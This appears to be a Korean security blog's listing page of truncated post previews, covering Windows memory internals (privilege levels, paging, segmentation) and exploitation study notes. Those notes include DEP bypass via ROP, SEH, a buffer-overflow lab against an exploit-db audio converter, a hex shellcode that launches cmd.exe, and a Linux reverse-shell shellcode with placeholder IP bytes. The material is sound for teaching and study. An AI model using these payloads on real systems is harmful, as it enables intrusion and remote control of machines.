#--------------------------------------------------- Windows의 특권 레벨 ---------------------------------------------------------# Windows에서는 0~3까지의 특권레벨이 있다. 0은 커널, 1과 2는 디바이스 드라이버 레벨, 3은 유저 레벨을 나타낸다. 하지만 실제로 사용하는 특권레벨은 0과 3 정도이고 1과 2는 본 적이 없다. 세그먼트 레지스터를 갱신할 때는 특권레벨에 대해 조건을 만족해야만 한다. 특정 특권레벨을 가지고 수행되는 코드가 다른 데이터 세그먼트의 메모리를 참조하기 위해서는 그 데이터 세그먼트의 DPL이 현재 실행중인 CPL보다 수치적으로 크거나 같아야 참조할 수 있다.데이터 세그먼트 갱신..
#------------------------------------------------------- 기존 내용 정리 -------------------------------------------------------------#페이지 테이블 : 각각의 프로세스가 페이지 프레임을 통해 실제 메모리에 어떻게 매핑되는지를 나타내는 매핑 목록페이지 디렉토리 : 페이지 테이블만을 사용하여 페이징을 표현하기에는 너무 양이 어마어마하기 때문에 분담해서 저장하기 위해 한 번 더 쪼개어 페이지 테이블의 엔트리를 저장한 목록, 페이지 디렉토리가 없을 경우 하나의 프로세스마다 대략 1048576(1024*1024)개의 테이블 엔트리를 만들어야 한다. 이 경우 갯수가 너무 많아서 메모리 또한 더욱 복잡해 질거임. 다시 보는..
#------------------------------------------------- 페이징 -----------------------------------------------------------# 여러개의 프로그램을 사용하는데 실제 주소모드와 같이 하나의 물리 메모리에서 모든 프로세스를 매핑할 경우 사용할 수 있는 메모리의 폭이 좁다. 때문에 가상 주소를 사용하여 여러 개의 프로그램이 각각의 메모리 할당을 할 때 혼자만의 메모리 공간을 가지도록 착각하게 되면 효율적이다. 페이징을 할 때 메모리를 일정 크기 단위로 블록을 만드는데 이 페이지 블록을 페이지 프레임이라고 부른다. 그리고 이 페이지 블록은 0번지부터 만들어져 페이지 프레임 0, 1번지는 페이지 프레임 1 같은 식으로 번호를 매긴다. ..
보호되어 있는 글입니다.
Windows ROP(Return Oriented Programming) : Windows 메모리 방어기법 DEP를 우회하기 위한 Overflow 공격기법 DEP에 대한 간략한 내용은 아래 url 참고http://tribal1012.tistory.com/entry/Windows-%EB%B3%B4%EC%95%88-%EA%B8%B0%EB%B2%95 실습 환경Windows XP sp2 영문판 DEP가 보호 중인 상태에서 쉘 코드 실행 접근 오류(Code 0xC0000005)가 발생하여 공격이 실패하는 것을 볼 수 있다. Windows 에서는 Linux와 다르게 특정 API 함수를 사용해서 ShellCode를 실행할 수 있다. 여기서 VirtualAlloc() 함수와 HeapCreate()와 HeapAlloc(..
SEH(Structured Exception Handling) : Windows에서 지원하는 예외처리 중 하나 예외 처리 발생 시 위와 같은 형태로 진행된다.FS라는 Segment Register의 offset[0]의 값을 참조하여 EXCEPTION_REGISTRATION 이라는 녀석을 찾는다.EXCEPTION_REGISTRATION 내부의 Exception Handler가 있는데 이를 통해 예외처리를 하기 위한 예외처리를 호출찾던 예외처리 핸들이 맞을 경우 예외처리 실행, 아닐 경우 prev를 참고하여 다른 EXCEPTION_REGISTRATION를 찾음예외처리가 실행되거나 마지막 EXCEPTION_REGISTRATION에 도달할 때 까지 2~3번 반복 Windows의 SEH 예외처리 방식은 이렇게 진..
취약 프로그램 : https://www.exploit-db.com/exploits/10619/ 실습 환경 : Windows XP sp2 영문판 취약 프로그램 실행 화면 프로그램 설명 : 오디오 파일을 .mp3나 .wav 파일로 컨버팅 해주는 프로그램, 이 프로그램은 .m3u 파일을 실행하는 부분에서 BOF 취약점이 발생한다. 취약점 확인12345dummy = “A”*25000 f = open(“dummy.m3u”, “w”)f.write(dummy)f.close()cs 더미을 25000개 넣고 .m3u 파일을 생성할 경우 파일을 불러오는데는 실패했지만 일단은 돌아간다. 12345dummy = “A”*30000 f = open(“dummy.m3u”, “w”)f.write(dummy)f.close()cs 더미..
XP SP3 Kor Local cmd.exe 실행 및 exit() : 80 byte123456"\x55\x8B\xEC\x83\xEC\x44\x33\xC0\xC6\x44\x24\x04\x63\xC6\x44""\x24\x05\x6D\xC6\x44\x24\x06\x64\x88\x44\x24\x07\x6A\x05\x8D""\x44\x24\x08\x50\xC6\x44\x24\x04\xAD\x90\xC6\x44\x24\x05\x23""\x90\xC6\x44\x24\x06\x86\x90\xC6\x44\x24\x07\x7C\x90\x8B\x44""\x24\x04\x90\x90\x90\x90\x90\xFF\xD0\xD0\x6A\x01\xB8\xFA\xCA""\x81\x7C\xFF\xD0\xD0"Colored by Col..
Reverse Shell123456789101112131415shellcode = "\x68\xIP1\xIP2\xIP3\xIP4\x5e\x66\x68\x12\x34\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53" "\x6a\x02\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x56\x66\x57" "\x66\x6a\x02\x89\xe1\x6a\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73" "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\xce" ShellCode 설명"\x68\xIP1\xIP2\xIP3\xIP4 -> IP 주소\x..
#----------------------------------- Segmentation -----------------------------------#Segmentation은 메모리에 영역을 분할하고 할당하는 작업이다. PE나 ELF 구조 파일의 경우 섹션을 나눌 경우 페이징에 맞춰 나누기 위해 헤더를 두고 헤더의 오프셋 값을 참조하여 배치하게 되지만 Segmentation의 경우 그렇지 않다. Segment Register를 참조하여 여기의 값을 오프셋으로 사용하여 메모리에 영역을 분할하고 할당한다. 이때, 실제 주소모드와 보호 모드에 따라 약간씩 달라진다. 실제 주소 모드의 경우 레지스터가 가리키는 값이 곧 물리 주소이기 때문에 레지스터의 값을 바로 계산하여 영역을 배치한다.Segment Regi..